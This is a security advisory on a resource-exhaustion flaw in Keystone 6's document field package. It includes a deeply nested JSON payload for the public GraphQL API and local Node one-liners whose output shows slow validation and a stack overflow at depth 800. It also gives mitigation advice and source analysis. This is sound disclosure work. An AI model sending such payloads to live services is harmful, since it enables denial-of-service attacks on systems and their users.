Document field validation can be abused for resource exhaustion
Summary
Document input validation and normalization traverse the full document without explicit depth or size limits. Large or deeply nested documents can cause high CPU/memory usage.
CVSS
CVSS v4.0 Base Score: 5.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L)
Affected Packages
- @keystone-6/fields-document
Affected Versions
- Keystone 6.x (main branch behavior)
References
Preconditions
- A list uses the document field.
- The GraphQL API is exposed to untrusted users.
Blackbox Test Steps
- Submit a document payload with extreme depth or size through the public GraphQL API.
- Observe CPU spikes or timeouts during validation and normalization.
Blackbox Payload (deep nesting)
[
{
"type": "paragraph",
"children": [
{
"type": "paragraph",
"children": [
{
"type": "paragraph",
"children": [
{
"type": "paragraph",
"children": [
{
"type": "paragraph",
"children": [
{ "text": "x" }
]
}
]
}
]
}
]
}
]
}
]
Observed Behavior
- Validation and normalization run on the entire tree.
- Very large inputs can cause high CPU or memory usage.
Verification (local)
pnpm -C packages/fields-document exec node --import tsx -e 'const { validateAndNormalizeDocument } = (await import("./src/validation.ts")).default; const documentFeatures={ formatting:{ inlineMarks:{bold:false,italic:false,underline:false,strikethrough:false,code:false,superscript:false,subscript:false,keyboard:false}, listTypes:{ordered:false,unordered:false}, alignment:{center:false,end:false}, headingLevels:[], blockTypes:{blockquote:false,code:false}, softBreaks:false }, links:false, dividers:false, layouts:[] }; const relationships={}; const componentBlocks={}; const makeDeep=n=>{ let node={ type:"paragraph", children:[{ text:"x" }] }; for(let i=0;i<n;i++){ node={ type:"paragraph", children:[node] }; } return [node]; }; const depth=200; const doc=makeDeep(depth); console.time("validate"); const out=validateAndNormalizeDocument(doc, documentFeatures, componentBlocks, relationships); console.timeEnd("validate"); console.log({depth, nodes: out.length});'
validate: 595.971ms
{ depth: 200, nodes: 1 }
pnpm -C packages/fields-document exec node --import tsx -e 'const { validateAndNormalizeDocument } = (await import("./src/validation.ts")).default; const documentFeatures={ formatting:{ inlineMarks:{bold:false,italic:false,underline:false,strikethrough:false,code:false,superscript:false,subscript:false,keyboard:false}, listTypes:{ordered:false,unordered:false}, alignment:{center:false,end:false}, headingLevels:[], blockTypes:{blockquote:false,code:false}, softBreaks:false }, links:false, dividers:false, layouts:[] }; const relationships={}; const componentBlocks={}; const makeDeep=n=>{ let node={ type:"paragraph", children:[{ text:"x" }] }; for(let i=0;i<n;i++){ node={ type:"paragraph", children:[node] }; } return [node]; }; const depth=800; const doc=makeDeep(depth); validateAndNormalizeDocument(doc, documentFeatures, componentBlocks, relationships);'
RangeError: Maximum call stack size exceeded
Impact
Untrusted users can trigger request‑level denial of service by submitting oversized documents.
Mitigation Guidance
- Enforce maximum document depth/size at the API boundary.
- Reject large payloads early before normalization.
Whitebox Analysis
- The document field input resolver always invokes
validateAndNormalizeDocumentfor provided JSON, with no size limit. fields-document index.ts - Validation and normalization traverse the entire tree. validation.ts